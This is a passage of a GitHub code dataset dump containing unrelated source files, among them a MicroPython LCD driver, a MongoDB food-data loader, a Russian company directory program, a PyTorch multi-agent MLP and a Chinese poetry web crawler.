0x01 # --DB0: shift\n\n LCD_ON_CTRL = 0x08 # DB3: turn lcd/cursor on\n LCD_ON_DISPLAY = 0x04 # --DB2: turn display on\n LCD_ON_CURSOR = 0x02 # --DB1: turn cursor on\n LCD_ON_BLINK = 0x01 # --DB0: blinking cursor\n\n LCD_MOVE = 0x10 # DB4: move cursor/display\n LCD_MOVE_DISP = 0x08 # --DB3: move display (0-> move cursor)\n LCD_MOVE_RIGHT = 0x04 # --DB2: move right (0-> left)\n\n LCD_FUNCTION = 0x20 # DB5: function set\n LCD_FUNCTION_8BIT = 0x10 # --DB4: set 8BIT mode (0->4BIT mode)\n LCD_FUNCTION_2LINES = 0x08 # --DB3: two lines (0->one line)\n LCD_FUNCTION_10DOTS = 0x04 # --DB2: 5x10 font (0->5x7 font)\n LCD_FUNCTION_RESET = 0x30 # See \"Initializing by Instruction\" section\n\n LCD_CGRAM = 0x40 # DB6: set CG RAM address\n LCD_DDRAM = 0x80 # DB7: set DD RAM address\n\n LCD_RS_CMD = 0\n LCD_RS_DATA = 1\n\n LCD_RW_WRITE = 0\n LCD_RW_READ = 1\n\n def __init__(self, num_lines, num_columns):\n self.num_lines = num_lines\n if self.num_lines > 4:\n self.num_lines = 4\n self.num_columns = num_columns\n if self.num_columns > 40:\n self.num_columns = 40\n self.cursor_x = 0\n self.cursor_y = 0\n self.implied_newline = False\n self.backlight = True\n self.display_off()\n self.backlight_on()\n self.clear()\n self.hal_write_command(self.LCD_ENTRY_MODE | self.LCD_ENTRY_INC)\n self.hide_cursor()\n self.display_on()\n\n def clear(self):\n \"\"\"Clears the LCD display and moves the cursor to the top left\n corner.\n \"\"\"\n self.hal_write_command(self.LCD_CLR)\n self.hal_write_command(self.LCD_HOME)\n self.cursor_x = 0\n self.cursor_y = 0\n\n def show_cursor(self):\n \"\"\"Causes the cursor to be made visible.\"\"\"\n self.hal_write_command(self.LCD_ON_CTRL | self.LCD_ON_DISPLAY |\n self.LCD_ON_CURSOR)\n\n def hide_cursor(self):\n \"\"\"Causes the cursor to be hidden.\"\"\"\n self.hal_write_command(self.LCD_ON_CTRL | self.LCD_ON_DISPLAY)\n\n def blink_cursor_on(self):\n \"\"\"Turns on the cursor, and makes it blink.\"\"\"\n self.hal_write_command(self.LCD_ON_CTRL | self.LCD_ON_DISPLAY |\n self.LCD_ON_CURSOR | self.LCD_ON_BLINK)\n\n def blink_cursor_off(self):\n \"\"\"Turns on the cursor, and makes it no blink (i.e. be solid).\"\"\"\n self.hal_write_command(self.LCD_ON_CTRL | self.LCD_ON_DISPLAY |\n self.LCD_ON_CURSOR)\n\n def display_on(self):\n \"\"\"Turns on (i.e. unblanks) the LCD.\"\"\"\n self.hal_write_command(self.LCD_ON_CTRL | self.LCD_ON_DISPLAY)\n\n def display_off(self):\n \"\"\"Turns off (i.e. blanks) the LCD.\"\"\"\n self.hal_write_command(self.LCD_ON_CTRL)\n\n def backlight_on(self):\n \"\"\"Turns the backlight on.\n\n This isn't really an LCD command, but some modules have backlight\n controls, so this allows the hal to pass through the command.\n \"\"\"\n self.backlight = True\n self.hal_backlight_on()\n\n def backlight_off(self):\n \"\"\"Turns the backlight off.\n\n This isn't really an LCD command, but some modules have backlight\n controls, so this allows the hal to pass through the command.\n \"\"\"\n self.backlight = False\n self.hal_backlight_off()\n\n def move_to(self, cursor_x, cursor_y):\n \"\"\"Moves the cursor position to the indicated position. The cursor\n position is zero based (i.e. cursor_x == 0 indicates first column).\n \"\"\"\n self.cursor_x = cursor_x\n self.cursor_y = cursor_y\n addr = cursor_x & 0x3f\n if cursor_y & 1:\n addr += 0x40 # Lines 1 & 3 add 0x40\n if cursor_y & 2: # Lines 2 & 3 add number of columns\n addr += self.num_columns\n self.hal_write_command(self.LCD_DDRAM | addr)\n\n def putchar(self, char):\n \"\"\"Writes the indicated character to the LCD at the current cursor\n position, and advances the cursor by one position.\n \"\"\"\n if char == '\\n':\n if self.implied_newline:\n # self.implied_newline means we advanced due to a wraparound,\n # so if we get a newline right after that we ignore it.\n self.implied_newline = False\n else:\n self.cursor_x = self.num_columns\n else:\n self.hal_write_data(ord(char))\n self.cursor_x += 1\n if self.cursor_x >= self.num_columns:\n self.cursor_x = 0\n self.cursor_y += 1\n self.implied_newline = (char != '\\n')\n if self.cursor_y >= self.num_lines:\n self.cursor_y = 0\n self.move_to(self.cursor_x, self.cursor_y)\n\n def putstr(self, string):\n \"\"\"Write the indicated string to the LCD at the current cursor\n position and advances the cursor position appropriately.\n \"\"\"\n for char in string:\n self.putchar(char)\n\n def custom_char(self, location, charmap):\n \"\"\"Write a character to one of the 8 CGRAM locations, available\n as chr(0) through chr(7).\n \"\"\"\n location &= 0x7\n self.hal_write_command(self.LCD_CGRAM | (location << 3))\n self.hal_sleep_us(40)\n for i in range(8):\n self.hal_write_data(charmap[i])\n self.hal_sleep_us(40)\n self.move_to(self.cursor_x, self.cursor_y)\n\n def hal_backlight_on(self):\n \"\"\"Allows the hal layer to turn the backlight on.\n\n If desired, a derived HAL class will implement this function.\n \"\"\"\n pass\n\n def hal_backlight_off(self):\n \"\"\"Allows the hal layer to turn the backlight off.\n\n If desired, a derived HAL class will implement this function.\n \"\"\"\n pass\n\n def hal_write_command(self, cmd):\n \"\"\"Write a command to the LCD.\n\n It is expected that a derived HAL class will implement this\n function.\n \"\"\"\n raise NotImplementedError\n\n def hal_write_data(self, data):\n \"\"\"Write data to the LCD.\n\n It is expected that a derived HAL class will implement this\n function.\n \"\"\"\n raise NotImplementedError\n\n # This is a default implementation of hal_sleep_us which is suitable\n # for most micropython implementations. For platforms which don't\n # support `time.sleep_us()` they should provide their own implementation\n # of hal_sleep_us in their hal layer and it will be used instead.\n def hal_sleep_us(self, usecs):\n \"\"\"Sleep for some time (given in microseconds).\"\"\"\n time.sleep_us(usecs) # NOTE this is not part of Standard Python library, specific hal layers will need to override this\n\nclass GpioLcd(LcdApi):\n \"\"\"Implements a HD44780 character LCD connected via ESP32 GPIO pins.\"\"\"\n\n def __init__(self, rs_pin, enable_pin, d0_pin=None, d1_pin=None,\n d2_pin=None, d3_pin=None, d4_pin=None, d5_pin=None,\n d6_pin=None, d7_pin=None, rw_pin=None, backlight_pin=None,\n num_lines=2, num_columns=16):\n \"\"\"Constructs the GpioLcd object. All of the arguments must be machine.Pin\n objects which describe which pin the given line from the LCD is\n connected to.\n\n When used in 4-bit mode, only D4, D5, D6, and D7 are physically\n connected to the LCD panel. This function allows you call it like\n GpioLcd(rs, enable, D4, D5, D6, D7) and it will interpret that as\n if you had actually called:\n GpioLcd(rs, enable, d4=D4, d5=D5, d6=D6, d7=D7)\n\n The enable 8-bit mode, you need pass d0 through d7.\n\n The rw pin isn't used by this library, but if you specify it, then\n it will be set low.\n \"\"\"\n \n self.rs_pin = rs_pin\n self.enable_pin = enable_pin\n self.rw_pin = rw_pin\n self.backlight_pin = backlight_pin\n self._4bit = True\n if d4_pin and d5_pin and d6_pin and d7_pin:\n self.d0_pin = d0_pin\n self.d1_pin = d1_pin\n self.d2_pin = d2_pin\n self.d3_pin = d3_pin\n self.d4_pin = d4_pin\n self.d5_pin = d5_pin\n self.d6_pin = d6_pin\n self.d7_pin = d7_pin\n if self.d0_pin and self.d1_pin and self.d2_pin and self.d3_pin:\n self._4bit = False\n else:\n # This is really 4-bit mode, and the 4 data pins were just\n # passed as the first 4 arguments, so we switch things around.\n self.d0_pin = None\n self.d1_pin = None\n self.d2_pin = None\n self.d3_pin = None\n self.d4_pin = d0_pin\n self.d5_pin = d1_pin\n self.d6_pin = d2_pin\n self.d7_pin = d3_pin\n self.rs_pin.init(Pin.OUT)\n self.rs_pin.value(0)\n if self.rw_pin:\n self.rw_pin.init(Pin.OUT)\n self.rw_pin.value(0)\n self.enable_pin.init(Pin.OUT)\n self.enable_pin.value(0)\n self.d4_pin.init(Pin.OUT)\n self.d5_pin.init(Pin.OUT)\n self.d6_pin.init(Pin.OUT)\n self.d7_pin.init(Pin.OUT)\n self.d4_pin.value(0)\n self.d5_pin.value(0)\n self.d6_pin.value(0)\n self.d7_pin.value(0)\n if not self._4bit:\n self.d0_pin.init(Pin.OUT)\n self.d1_pin.init(Pin.OUT)\n self.d2_pin.init(Pin.OUT)\n self.d3_pin.init(Pin.OUT)\n self.d0_pin.value(0)\n self.d1_pin.value(0)\n self.d2_pin.value(0)\n self.d3_pin.value(0)\n if self.backlight_pin is not None:\n self.backlight_pin.init(Pin.OUT)\n self.backlight_pin.value(0)\n\n # See about splitting this into begin\n\n sleep_ms(20) # Allow LCD time to powerup\n # Send reset 3 times\n self.hal_write_init_nibble(self.LCD_FUNCTION_RESET)\n sleep_ms(5) # need to delay at least 4.1 msec\n self.hal_write_init_nibble(self.LCD_FUNCTION_RESET)\n sleep_ms(1)\n self.hal_write_init_nibble(self.LCD_FUNCTION_RESET)\n sleep_ms(1)\n cmd = self.LCD_FUNCTION\n if not self._4bit:\n cmd |= self.LCD_FUNCTION_8BIT\n self.hal_write_init_nibble(cmd)\n sleep_ms(1)\n LcdApi.__init__(self, num_lines, num_columns)\n if num_lines > 1:\n cmd |= self.LCD_FUNCTION_2LINES\n self.hal_write_command(cmd)\n\n def hal_pulse_enable(self):\n \"\"\"Pulse the enable line high, and then low again.\"\"\"\n self.enable_pin.value(0)\n sleep_us(1)\n self.enable_pin.value(1)\n sleep_us(1) # Enable pulse needs to be > 450 nsec\n self.enable_pin.value(0)\n sleep_us(100) # Commands need > 37us to settle\n\n def hal_write_init_nibble(self, nibble):\n \"\"\"Writes an initialization nibble to the LCD.\n\n This particular function is only used during initialization.\n \"\"\"\n self.hal_write_4bits(nibble >> 4)\n\n def hal_backlight_on(self):\n \"\"\"Allows the hal layer to turn the backlight on.\"\"\"\n if self.backlight_pin:\n self.backlight_pin.value(1)\n\n def hal_backlight_off(self):\n \"\"\"Allows the hal layer to turn the backlight off.\"\"\"\n if self.backlight_pin:\n self.backlight_pin.value(0)\n\n def hal_write_command(self, cmd):\n \"\"\"Writes a command to the LCD.\n\n Data is latched on the falling edge of E.\n \"\"\"\n self.rs_pin.value(0)\n self.hal_write_8bits(cmd)\n if cmd <= 3:\n # The home and clear commands require a worst\n # case delay of 4.1 msec\n sleep_ms(5)\n\n def hal_write_data(self, data):\n \"\"\"Write data to the LCD.\"\"\"\n self.rs_pin.value(1)\n self.hal_write_8bits(data)\n\n def hal_write_8bits(self, value):\n \"\"\"Writes 8 bits of data to the LCD.\"\"\"\n if self.rw_pin:\n self.rw_pin.value(0)\n if self._4bit:\n self.hal_write_4bits(value >> 4)\n self.hal_write_4bits(value)\n else:\n self.d3_pin.value(value & 0x08)\n self.d2_pin.value(value & 0x04)\n self.d1_pin.value(value & 0x02)\n self.d0_pin.value(value & 0x01)\n self.hal_write_4bits(value >> 4)\n\n def hal_write_4bits(self, nibble):\n \"\"\"Writes 4 bits of data to the LCD.\"\"\"\n self.d7_pin.value(nibble & 0x08)\n self.d6_pin.value(nibble & 0x04)\n self.d5_pin.value(nibble & 0x02)\n self.d4_pin.value(nibble & 0x01)\n self.hal_pulse_enable()\n\n","repo_name":"hwstar/micropython-trx-compact-fw","sub_path":"lib/gpio_lcd.py","file_name":"gpio_lcd.py","file_ext":"py","file_size_in_byte":13602,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"1873956792","text":"# 가공처리한 jsondata를 jsonserver에 띄우는 코드\n\nimport pandas as pd\nfrom pandas import DataFrame as df\nfrom pymongo import MongoClient\nimport getFoodData as gF\nimport os\nimport json\n\n# csv_data = pd.read_csv(\"aa_FoodData2.csv\", sep = \",\", low_memory=False, encoding='utf-8')\n# csv_data.to_json(\"aa_FoodData2.json\", orient = \"records\", force_ascii=False)\n\nfile_path = \"aa_Food.json\"\n\nwith open(file_path, 'r') as file:\n data = json.load(file)\n df = pd.DataFrame(data[\"Food\"])\n new_Data = df[[\"type1\", \"name\", \"year\", \"servingsize\", \"unit\", \"kcal\"]]\n new_Data = new_Data.sort_values(\"year\")\n set_food = new_Data.drop_duplicates([\"name\"], keep = 'last')\n set_food = set_food[set_food[\"type1\"] != \"가공식품\"].reset_index(drop=True)\nset_food = set_food[set_food[\"kcal\"] != \"-\"].reset_index(drop=True)\n\nfor _ in set_food.columns:\n if (_ == 'kcal') or (_ == 'servingsize'):\n set_food = set_food.astype({ _ : 'float'}) \n print(f'{_} 포맷')\n else:\n print(f\"{_} 패스\")\n \ncnt = 0\nfor i in set_food[\"unit\"]:\n if i == \"g\" or i == \"mL\":\n score = set_food.loc[cnt, \"servingsize\"]\n score_change = 100 / score\n kal = set_food.loc[cnt,\"kcal\"]\n ser = set_food.loc[cnt,\"servingsize\"]\n \n set_food.loc[cnt,\"kcal\"] = kal * score_change\n set_food.loc[cnt,\"servingsize\"] = ser * score_change\n else:\n pass\n cnt += 1\nset_food = set_food.round()\nset_food = set_food.astype({ \"servingsize\" : 'int'})\nfor _ in range(len(set_food.index)):\n set_food[\"1회제공량\"] = str(set_food[\"servingsize\"][_]) + str(set_food[\"unit\"][_])\n \nset_food[\"1회제공량\"]\nset_food.drop([\"servingsize\",\"unit\"], axis= 1, inplace=True)\n\nset_food = set_food.rename(columns={\"type1\": \"종류\", \"name\": \"식품이름\", \"year\": \"연도\", \"kcal\": \"열량\"})\n# print(set_food)\nset_food.drop([\"종류\", \"연도\"], axis= 1, inplace=True)\nprint(set_food)\n# set_food.to_json(\"modified_aa_FoodData.json\", orient=\"records\", force_ascii=False)\n\n# json-server --watch ./modified_aa_FoodData.json --host 0.0.0.0 --port 5000\n# http://192.168.1.78:5000/Food\n# json-server 에 너무 큰 용량의 파일 띄우지 않기로함. 따라서 modified_aa_FoodData.json을 mosngodb에 넣기로함.\n\nfood = set_food.to_dict(\"records\")\nclient = MongoClient('mongodb://192.168.1.78:27017/')\n\ndb = client['test']\ncollection_name = 'FoodData'\ncollection = db[collection_name]\n\ncollection.insert_many(food)\n\nclient.close()","repo_name":"westmini427/Provide-recipe-project","sub_path":"codes-in-progress/08-get-json-food-data.py","file_name":"08-get-json-food-data.py","file_ext":"py","file_size_in_byte":2488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8764596301","text":"import shutil\r\n\r\n\r\ndef recordSprav(): # добавление нового предприятия перечень организаций и вывод на экран всех предприятий\r\n str = input('Введите название предприятия,адрес, сотрудника, телефон: ')\r\n str = str.title()\r\n str += '\\n'\r\n f = open('text.txt', 'at')\r\n f.write(str)\r\n f = open('text.txt', 'rt')\r\n print('Предприятие добавленно в список: \\n')\r\n return f.read()\r\n f.close()\r\n\r\n\r\ndef printSprav(): # вывести на экран все предприятия\r\n f = open('text.txt', 'rt')\r\n return f.read()\r\n f.close()\r\n\r\n\r\ndef recordsearchSprav(): # поиск предприятия\r\n a = input('Введите названние предприятия: ')\r\n a = a.title()\r\n old_file = open('text.txt', 'rt')\r\n new_file = open('text2.txt', 'wt')\r\n for line in old_file:\r\n if a in line:\r\n new_file.write(line)\r\n old_file = open('text.txt', 'rt')\r\n text = old_file.read()\r\n if not a in text:\r\n print('Предприятия в списке нет')\r\n new_file = open('text2.txt', 'rt')\r\n return new_file.read()\r\n new_file.close()\r\n old_file.close()\r\n\r\n\r\ndef delSprav(): # удаление предприятия\r\n bad_company = input('Введите информацию о предприятии которое нужно удалить:')\r\n bad_company = bad_company.title()\r\n old_file = open('text.txt', 'rt')\r\n new_file = open('text3.txt', 'wt')\r\n for line in old_file:\r\n if not bad_company in line:\r\n new_file.write(line)\r\n old_file = open('text.txt', 'rt')\r\n text = old_file.read()\r\n if not bad_company in text:\r\n print('Предприятия в списке нет. Список предприятий:\\n')\r\n new_file = open('text3.txt', 'rt')\r\n shutil.copyfile('text3.txt', 'text.txt')\r\n old_file = open('text.txt', 'rt')\r\n return old_file.read()\r\n new_file.close()\r\n old_file.close()\r\n\r\n\r\nwhile True:\r\n try:\r\n a = int(input('1-Список предприятий\\n'\r\n '2-Добавить предприятие\\n'\r\n '3-Поиск предприятия\\n'\r\n '4-Удалить предприятие\\n'\r\n '0-завершить работу с программой\\n'\r\n 'Введите Ваш выбор\\n\\v'))\r\n\r\n while a != 0:\r\n if a == 1:\r\n print('Список предприятий:\\n', printSprav(), '\\n')\r\n a = int(input('1-Список предприятий\\n'\r\n '2-Добавить предприятие\\n'\r\n '3-Поиск предприятия\\n'\r\n '4-Удалить предприятие\\n'\r\n '0-завершить работу с программой\\n'\r\n 'Введите Ваш выбор\\n\\v'))\r\n elif a == 2:\r\n print(recordSprav(), '\\n')\r\n a = int(input('1-Список предприятий\\n'\r\n '2-Добавить предприятие\\n'\r\n '3-Поиск предприятия\\n'\r\n '4-Удалить предприятие\\n'\r\n '0-завершить работу с программой\\n'\r\n 'Введите Ваш выбор\\n\\v'))\r\n elif a == 3:\r\n print(recordsearchSprav(), '\\n')\r\n a = int(input('1-Список предприятий\\n'\r\n '2-Добавить предприятие\\n'\r\n '3-Поиск предприятия\\n'\r\n '4-Удалить предприятие\\n'\r\n '0-завершить работу с программой\\n'\r\n 'Введите Ваш выбор\\n\\v'))\r\n elif a == 4:\r\n print(delSprav(), '\\n')\r\n a = int(input('1-Список предприятий\\n'\r\n '2-Добавить предприятие\\n'\r\n '3-Поиск предприятия\\n'\r\n '4-Удалить предприятие\\n'\r\n '0-завершить работу с программой\\n'\r\n 'Введите Ваш выбор\\n\\v'))\r\n else:\r\n print('Вы ввели не корректное значение, пожалуйста сделайте Ваш выбор!')\r\n a = int(input('1-Список предприятий\\n'\r\n '2-Добавить предприятие\\n'\r\n '3-Поиск предприятия\\n'\r\n '4-Удалить предприятие\\n'\r\n '0-завершить работу с программой\\n'\r\n 'Введите Ваш выбор\\n\\v'))\r\n print('Программа завершила работу')\r\n break\r\n except ValueError:\r\n print('Вы ввели текстовое значение,пожалуйста сделайте Ваш выбор!')\r\n continue\r\n","repo_name":"YanaNaumova/--octo-waddle","sub_path":"spravochnik.py","file_name":"spravochnik.py","file_ext":"py","file_size_in_byte":5631,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"14627701561","text":"class Solution:\n def findSmallestSetOfVertices(self, n: int, edges: List[List[int]]) -> List[int]:\n # build list\n\n graph = defaultdict(list)\n deleted = set()\n\n for vfrom, vto in edges:\n graph[vfrom].append(vto)\n deleted.add(vto)\n \n ans = []\n\n for i in range(n):\n if i not in deleted:\n ans.append(i)\n\n return ans","repo_name":"nmktad/A2SV","sub_path":"minimum-number-of-vertices-to-reach-all-nodes.py","file_name":"minimum-number-of-vertices-to-reach-all-nodes.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7315533581","text":"import json\nimport platform\nimport sys\n\nfrom common import common_config_ini\nfrom common import common_global\nfrom common import common_logging_elasticsearch_httpx\nfrom common import common_signal\nfrom twisted.internet import reactor, ssl\n# import twisted files that are required\nfrom twisted.internet.protocol import ClientFactory\nfrom twisted.protocols.basic import Int32StringReceiver\n\nnetworkProtocol = None\nmetaapp = None\n\n\nclass TheaterClient(Int32StringReceiver):\n STARTED = 0\n CHECKING_PORT = 1\n CONNECTED = 2\n NOTSTARTED = 3\n PORTCLOSED = 4\n CLOSED = 5\n\n def __init__(self):\n self.MAX_LENGTH = 32000000\n self.connStatus = TheaterClient.STARTED\n\n def connectionMade(self):\n global networkProtocol\n self.connStatus = TheaterClient.CONNECTED\n networkProtocol = self\n\n def stringReceived(self, data):\n MediaKrakenApp.process_message(metaapp, data)\n\n\nclass TheaterFactory(ClientFactory):\n\n def __init__(self, app):\n self.app = app\n self.protocol = None\n\n def startedConnecting(self, connector):\n common_logging_elasticsearch_httpx.com_es_httpx_post(message_type='info', message_text={\n 'Started to connect to': connector.getDestination()})\n\n def clientConnectionLost(self, conn, reason):\n common_logging_elasticsearch_httpx.com_es_httpx_post(message_type='info',\n message_text={'Connection Lost'})\n\n def clientConnectionFailed(self, conn, reason):\n common_logging_elasticsearch_httpx.com_es_httpx_post(message_type='info',\n message_text={'Connection Failed'})\n\n def buildProtocol(self, addr):\n common_logging_elasticsearch_httpx.com_es_httpx_post(message_type='info', message_text={\n 'Connected to': str(addr)})\n self.protocol = TheaterClient()\n return self.protocol\n\n\nclass MediaKrakenApp:\n connection = None\n\n def exit_program(self):\n # close the database\n self.db_connection.db_close()\n\n def build(self):\n global metaapp\n root = MediaKrakenApp()\n metaapp = self\n # start logging\n common_logging_elasticsearch_httpx.com_es_httpx_post(message_type='info',\n message_text='START',\n index_name='main_server_link')\n # open the database\n option_config_json, self.db_connection = common_config_ini.com_config_read()\n self.connect_to_server()\n return root\n\n def connect_to_server(self):\n \"\"\"\n Connect to media server\n \"\"\"\n reactor.connectSSL(sys.argv[1], int(sys.argv[2]),\n TheaterFactory(self), ssl.ClientContextFactory())\n reactor.run()\n\n def process_message(self, server_msg):\n \"\"\"\n Process network message from server\n \"\"\"\n common_logging_elasticsearch_httpx.com_es_httpx_post(message_type='info',\n message_text={\"body\": server_msg})\n # network_base.NetworkEvents.ampq_message_received(body)\n json_message = json.loads(server_msg)\n common_logging_elasticsearch_httpx.com_es_httpx_post(message_type='info', message_text={\n 'json body': json_message})\n msg = None\n if json_message['Type'] == \"Ident\":\n msg = \"VALIDATE \" + \"link\" + \" \" + \"password\" + \" \" + platform.node()\n elif json_message['Type'] == \"Receive New Media\":\n for new_media in json_message['Data']:\n common_logging_elasticsearch_httpx.com_es_httpx_post(message_type='info',\n message_text={\n 'new_media': new_media})\n # returns: 0-mm_media_guid, 1-'Movie', 2-mm_media_ffprobe_json,\n # 3-mm_metadata_media_id jsonb\n metadata_guid = None\n if new_media[1] == common_global.DLMediaType.Movie.value:\n metadata_guid = self.db_connection.db_meta_guid_by_imdb(\n new_media[3]['imdb'])\n if metadata_guid is None:\n metadata_guid = self.db_connection.db_meta_guid_by_tmdb(\n new_media[3]['themoviedb'])\n if metadata_guid is None:\n metadata_guid = self.db_connection.db_meta_guid_by_tvdb(\n new_media[3]['thetvdb'])\n elif new_media[1] == common_global.DLMediaType.TV.value:\n metadata_guid \\\n = self.db_connection.db_metatv_guid_by_imdb(new_media[3]['imdb'])\n if metadata_guid is None:\n metadata_guid = self.db_connection.db_metatv_guid_by_tvmaze(\n new_media[3]['tvmaze'])\n if metadata_guid is None:\n metadata_guid = self.db_connection.db_metatv_guid_by_tvdb(\n new_media[3]['thetvdb'])\n elif new_media[1] == 'Sports':\n metadata_guid = self.db_connection.db_metasports_guid_by_thesportsdb(\n new_media[3]['thesportsdb'])\n elif new_media[1] == common_global.DLMediaType.Music.value:\n pass\n elif new_media[1] == common_global.DLMediaType.Publication_Book.value:\n pass\n if metadata_guid is None:\n # find on internet\n # for \"keys\" in new_media[3]\n pass\n self.db_connection.db_insert_remote_media(json_message['Target'], new_media[0],\n new_media[1],\n new_media[2],\n metadata_guid)\n self.db_connection.db_commit()\n else:\n common_logging_elasticsearch_httpx.com_es_httpx_post(message_type='info', message_text={\n 'stuff': 'unknown message type'})\n if msg is not None:\n common_logging_elasticsearch_httpx.com_es_httpx_post(message_type='info', message_text={\n 'stuff': 'should be sending data'})\n networkProtocol.sendString(msg)\n\n\nif __name__ == '__main__':\n # set signal exit breaks\n common_signal.com_signal_set_break()\n MediaKrakenApp().build()\n","repo_name":"MediaKraken/MediaKraken_Deployment","sub_path":"source/main_server_link.py","file_name":"main_server_link.py","file_ext":"py","file_size_in_byte":6697,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"3"} +{"seq_id":"33005402183","text":"from typing import Optional, Tuple, Type\n\nimport torch\nimport torch.nn as nn\nfrom torchrl.modules.models import MLP\n\nclass MultiAgentMLP(nn.Module):\n \"\"\" Multi-agent MLP\n\n A customized copy in place of the unreleased torchrl version.\n https://github.com/matteobettini/rl/blob/2d35754d03da319c2f878b7d49333221a2921b1f/torchrl/modules/models/multiagent.py#L18\n\n # Adjustments:\n Centralized parameter sharing agents expand output dimension to n_agent_outputs * n_agents\n \"\"\"\n\n def __init__(self,\n n_agent_inputs: int,\n n_agent_outputs: int,\n n_agents: int,\n centralised: bool = True,\n share_params: bool = True,\n device: str = 'cpu',\n depth: int = 2,\n num_cells: int = 32,\n activation_class: Type[nn.Module] = nn.LeakyReLU) -> None:\n \"\"\"\n Args:\n n_agent_inputs: Number of inputs for each agent\n n_agent_outputs: Number of outputs for each agent\n n_agents: Number of agents\n \"\"\"\n super().__init__()\n self.n_agents = n_agents\n self.n_agent_inputs = n_agent_inputs\n self.n_agent_outputs = n_agent_outputs\n self.share_params = share_params\n self.centralised = centralised\n self.networks = nn.ModuleList(\n [\n MLP(in_features = n_agent_inputs if not centralised else n_agent_inputs * n_agents,\n out_features = n_agent_outputs if not (centralised and share_params) else n_agent_outputs * n_agents,\n depth=depth,\n num_cells=num_cells,\n activation_class=activation_class,\n device=device)\n for _ in range(1 if share_params else self.n_agents)\n ]\n )\n\n def forward(self, *inputs: Tuple[torch.tensor]) -> torch.Tensor:\n\n # Rearrange into single torch tensor\n if len(inputs) > 1:\n inputs = torch.cat([*inputs], -1)\n else:\n inputs = inputs[0]\n\n assert inputs.shape[-2:] == (self.n_agents, self.n_agent_inputs), \\\n f\"Last two dimensions must be equivalent to ({self.n_agents}, {self.n_agent_inputs}) but got {inputs.shape}\"\n \n # Sharing parameters and centralization\n if self.share_params:\n if self.centralised:\n inputs = inputs.reshape(*inputs.shape[:-2], self.n_agents * self.n_agent_inputs)\n output = self.networks[0](inputs)\n output = output.reshape(*output.shape[:-1], self.n_agents, self.n_agent_outputs)\n else:\n output = self.networks[0](inputs)\n else:\n if self.centralised:\n inputs = inputs.reshape(*inputs.shape[:-2], self.n_agents * self.n_agent_inputs)\n output = torch.stack([net(inputs) for i, net in enumerate(self.networks)], dim=-2)\n else:\n output = torch.stack([net(inputs[..., i, :]) for i, net in enumerate(self.networks)], dim=-2)\n return output\n ","repo_name":"MarkHaoxiang/curiosity-old","sub_path":"models/MultiAgentMLP.py","file_name":"MultiAgentMLP.py","file_ext":"py","file_size_in_byte":3129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"11876127298","text":"# -*- coding:utf-8 -*-\r\n'''\r\n白居易诗集，爬取全部308页\r\n'''\r\n\r\nimport re\r\nimport requests\r\nimport io\r\n\r\ndef crawl(start_url):\r\n base_url = 'http://so.gushiwen.org'\r\n req_headers = {\r\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36'\r\n }\r\n\r\n # 建立URL队列，循环爬行全部308页白居易诗文\r\n for i in range(1, 308):\r\n restart_url = start_url + str(i) + '.aspx'\r\n print(restart_url)\r\n\r\n # 请求爬取当前页所有内容，需要在消息头中带上浏览器信息\r\n restarthtml = get_html(restart_url, req_headers)\r\n pagecount = getpagenumber(restarthtml)\r\n\r\n if len(restarthtml) > 0:\r\n # 解析提取当前页中所有诗的各自主页链接\r\n parttern_href = re.compile(r'
.*?

.*?

', flags=re.DOTALL)\r\n hrefs = re.findall(parttern_href, restarthtml)\r\n\r\n # 获取每一首诗的内容,并保存到本地\r\n with io.open(u'白居易诗集.txt', mode='a', encoding='utf-8') as f:\r\n f.write(u'第%d页\\n'%(i))\r\n # 循环请求爬行URL队列对应的每首诗页面, 从中提取对应诗的内容\r\n for href in hrefs:\r\n href = base_url + href\r\n # 请求每首诗的页面\r\n innerhtml = get_html(href, req_headers)\r\n if len(innerhtml) > 0:\r\n # 解析提取每首诗内容\r\n singletitle, singlecontent = getsingledata(innerhtml)\r\n print(u'正在获取 {title}'.format(title=singletitle))\r\n # 写入文档\r\n f.write(u'{title}{content}\\n'.format(title=singletitle, content=singlecontent))\r\n\r\ndef getpagenumber(single_html):\r\n # 提取当前作者作品的总页数\r\n parttern_pagenumber = re.compile(r'(.*?)/\\s(.*?)页', re.DOTALL)\r\n pagenumber = re.search(parttern_pagenumber, single_html).group(1)\r\n return pagenumber\r\n\r\n# 网页请求抓取\r\ndef get_html(url, localheaders):\r\n res = requests.get(url, headers = localheaders)\r\n if res.status_code == requests.codes.ok:\r\n html = res.text\r\n return html\r\n return ''\r\n\r\n# 数据解析提取，得到每首诗内容\r\ndef getsingledata(single_html):\r\n # 标题\r\n parttern_title = re.compile(r'
.*?

(.*?)

', re.DOTALL)\r\n title = re.search(parttern_title, single_html).group(1)\r\n # 正文\r\n parttern_content = re.compile(r'
.*?
(.*?)
',\r\n re.DOTALL)\r\n content = re.search(parttern_content, single_html).group(1)\r\n\r\n # 去掉爬取下来的多余标签\r\n content = re.sub(r'
', '\\n', content)\r\n content = re.sub(r'

', '', content)\r\n content = re.sub(r'

